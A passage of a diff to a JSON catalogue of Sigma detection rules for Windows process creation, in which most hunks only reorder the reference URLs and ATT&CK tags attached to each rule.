"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_script_exec_from_env_folder.yml", + "https://www.virustotal.com/gui/file/91ba814a86ddedc7a9d546e26f912c541205b47a853d227756ab1334ade92c3f" ], "tags": [ "attack.execution", @@ -53332,8 +53330,8 @@ "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification.yml", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings" ], "tags": [ "attack.persistence", @@ -53357,8 +53355,8 @@ "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", - "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml", + "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings" ], "tags": [ "attack.persistence", @@ -53381,8 +53379,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dir.yml", + "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/" ], "tags": [ "attack.defense_evasion", @@ -53405,9 +53403,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_modification.yml" + "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/" ], "tags": [ "attack.defense_evasion", @@ -53430,9 +53428,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md", - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_path_modification.yml" + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" ], "tags": [ "attack.persistence", @@ -53456,9 +53454,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg", "https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_stop.yml", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/ransomware-actor-abuses-genshin-impact-anti-cheat-driver-to-kill-antivirus/Genshin%20Impact%20Figure%2010.jpg" ], "tags": [ "attack.defense_evasion", @@ -53481,8 +53479,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_servu_exploitation_cve_2021_35211.yml", + "https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/" ], "tags": [ "attack.persistence", @@ -53531,10 +53529,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/tevora-threat/SharpView/", - "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-4---system-discovery-using-sharpview", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sharpview.yml", + "https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1", + "https://github.com/tevora-threat/SharpView/" ], "tags": [ "attack.discovery", @@ -53562,8 +53560,8 @@ "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/raspberry-robin/", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shellexec_rundll_usage.yml", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" ], "tags": [ "attack.defense_evasion" @@ -53611,8 +53609,8 @@ "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-december-2021", - "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shell_spawn_by_java_keytool.yml", + "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html" ], "tags": [ "attack.initial_access", @@ -53709,8 +53707,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/shutdown", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1529/T1529.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_shutdown.yml" ], "tags": [ @@ -53734,8 +53732,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/sbousseaden/status/1429401053229891590?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_splwow64.yml", + "https://twitter.com/sbousseaden/status/1429401053229891590?s=12" ], "tags": [ "attack.defense_evasion", @@ -53939,8 +53937,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://app.any.run/tasks/61a296bb-81ad-4fee-955f-3b399f4aaf4b", + "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysprep_appdata.yml" ], "tags": [ @@ -53964,9 +53962,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_systeminfo.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1082/T1082.md#atomic-test-1---system-information-discovery" ], "tags": [ "attack.discovery", @@ -53991,9 +53989,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", "https://tools.thehacker.recipes/mimikatz/modules", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml", + "Internal Research" ], "tags": "No established tags" }, @@ -54013,9 +54011,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=2288", "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml", + "https://adsecurity.org/?p=2288" ], "tags": [ "attack.credential_access", @@ -54039,9 +54037,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.001/T1222.001.md#atomic-test-1---take-ownership-using-takeown-utility", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_takeown.yml" + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/takeown" ], "tags": [ "attack.defense_evasion", @@ -54064,8 +54062,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.group-ib.com/resources/threat-research/red-curl-2.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_target_location_shell32.yml", + "https://www.group-ib.com/resources/threat-research/red-curl-2.html" ], "tags": [ "attack.defense_evasion", @@ -54089,8 +54087,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_taskkill.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1489/T1489.md#atomic-test-3---windows---stop-service-by-killing-process" ], "tags": [ "attack.impact", @@ -54113,8 +54111,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tasklist_command.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md#atomic-test-2---process-discovery---tasklist" ], "tags": [ "attack.discovery", @@ -54183,8 +54181,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tracker_execution.yml", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/" ], "tags": [ "attack.defense_evasion", @@ -54234,10 +54232,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", - "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml", "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" + "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" ], "tags": [ "attack.command_and_control", @@ -54260,9 +54258,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml", "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_rdp_redirect.yml" + "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" ], "tags": [ "attack.lateral_movement", @@ -54287,10 +54285,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", - "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml", "https://github.com/netero1010/TrustedPath-UACBypass-BOF", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_uac_bypass_trustedpath.yml" + "https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e", + "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows" ], "tags": [ "attack.defense_evasion", @@ -54313,8 +54311,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1139811587760562176", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_userinit_child.yml", + "https://twitter.com/SBousseaden/status/1139811587760562176" ], "tags": [ "attack.defense_evasion", @@ -54361,9 +54359,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/", "https://twitter.com/bryon_/status/975835709587075072", + "https://docs.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqlps_bin.yml" ], "tags": [ @@ -54389,9 +54387,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml", "https://twitter.com/pabraeken/status/993298228840992768", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_sqltoolsps_bin.yml" + "https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml" ], "tags": [ "attack.execution", @@ -54417,9 +54415,9 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/", - "https://twitter.com/pabraeken/status/993298228840992768", "https://docs.microsoft.com/en-us/windows-hardware/drivers/taef/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_te_bin.yml", + "https://twitter.com/pabraeken/status/993298228840992768" ], "tags": [ "attack.t1218" @@ -54442,8 +54440,8 @@ "logsource.product": "windows", "refs": [ "https://twitter.com/pabraeken/status/990758590020452353", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", "https://docs.microsoft.com/en-us/visualstudio/debugger/debug-using-the-just-in-time-debugger?view=vs-2019", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vsjitdebugger/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_use_of_vsjitdebugger_bin.yml" ], "tags": [ @@ -54491,9 +54489,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml", "https://twitter.com/pabraeken/status/993497996179492864", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vboxdrvinst.yml", + "https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OtherBinaries/VBoxDrvInst.yml" ], "tags": [ "attack.defense_evasion", @@ -54540,8 +54538,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1354766164166115331", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_volsnap_disable.yml", + "https://twitter.com/0gtweet/status/1354766164166115331" ], "tags": [ "attack.defense_evasion", @@ -54564,8 +54562,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bohops/status/1583916360404729857", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_vslsagent_agentextensionpath_load.yml", + "https://twitter.com/bohops/status/1583916360404729857" ], "tags": [ "attack.defense_evasion", @@ -54589,8 +54587,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/17", - "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_webdav_client_execution.yml", + "https://threathunterplaybook.com/evals/apt29/detections/7.B.4_C10730EA-6345-4934-AA0F-B0EFCA0C4BA6.html" ], "tags": [ "attack.exfiltration", @@ -54613,9 +54611,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd.yml", + "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/" ], "tags": [ "attack.execution", @@ -54638,8 +54636,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_sysaidserver.yml", + "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/" ], "tags": "No established tags" }, @@ -54660,8 +54658,8 @@ "logsource.product": "windows", "refs": [ "https://www.trendmicro.com/en_us/research/22/j/black-basta-infiltrates-networks-via-qakbot-brute-ratel-and-coba.html", - "https://www.echotrail.io/insights/search/wermgr.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wermgr.yml", + "https://www.echotrail.io/insights/search/wermgr.exe" ], "tags": "No established tags" }, @@ -54707,9 +54705,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami.yml" + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/" ], "tags": [ "attack.discovery", @@ -54735,9 +54733,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", - "https://www.youtube.com/watch?v=DsJ9ByX84o4&t=6s", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_whoami_anomaly.yml" ], "tags": [ @@ -54787,8 +54785,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_dmp.yml", + "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/" ], "tags": [ "attack.collection", @@ -54811,8 +54809,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cyb3rops/status/1460978167628406785", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrar_execution.yml", + "https://twitter.com/cyb3rops/status/1460978167628406785" ], "tags": [ "attack.collection", @@ -54859,8 +54857,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/bohops/status/994405551751815170", "https://redcanary.com/blog/lateral-movement-winrm-wmi/", + "https://twitter.com/bohops/status/994405551751815170", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_execution.yml" ], "tags": [ @@ -54908,9 +54906,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/johnlatwc/status/1408062131321270282?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_eventconsumer_create.yml" + "https://twitter.com/johnlatwc/status/1408062131321270282?s=12" ], "tags": [ "attack.persistence", @@ -54935,8 +54933,8 @@ "refs": [ "https://digital-forensics.sans.org/blog/2010/06/04/wmic-draft/", "https://www.hybrid-analysis.com/sample/4be06ecd234e2110bd615649fe4a6fa95403979acf889d7e45a78985eb50acf9?environmentId=1", - "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_execution.yml", + "https://blog.malwarebytes.com/threat-analysis/2016/04/rokku-ransomware/" ], "tags": [ "attack.execution", @@ -54960,8 +54958,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://thedfirreport.com/2020/10/08/ryuks-return/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_proc_create.yml" ], "tags": [ @@ -54985,11 +54983,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cglyer/status/1355171195654709249", "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml", "https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wmic_security_product_uninstall.yml" + "https://twitter.com/cglyer/status/1355171195654709249" ], "tags": [ "attack.defense_evasion", @@ -55012,8 +55010,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/elliotkillick/status/1449812843772227588", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_workfolders.yml", + "https://twitter.com/elliotkillick/status/1449812843772227588" ], "tags": [ "attack.defense_evasion", @@ -55062,8 +55060,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://redcanary.com/blog/blackbyte-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_wuauclt_cmdline.yml", + "https://redcanary.com/blog/blackbyte-ransomware/" ], "tags": "No established tags" }, @@ -55083,8 +55081,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1451237393017839616", "https://github.com/Tylous/ZipExec", + "https://twitter.com/SBousseaden/status/1451237393017839616", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zipexec.yml" ], "tags": [ @@ -55110,8 +55108,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_zip_compress.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" ], "tags": [ "attack.collection", @@ -55134,8 +55132,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - 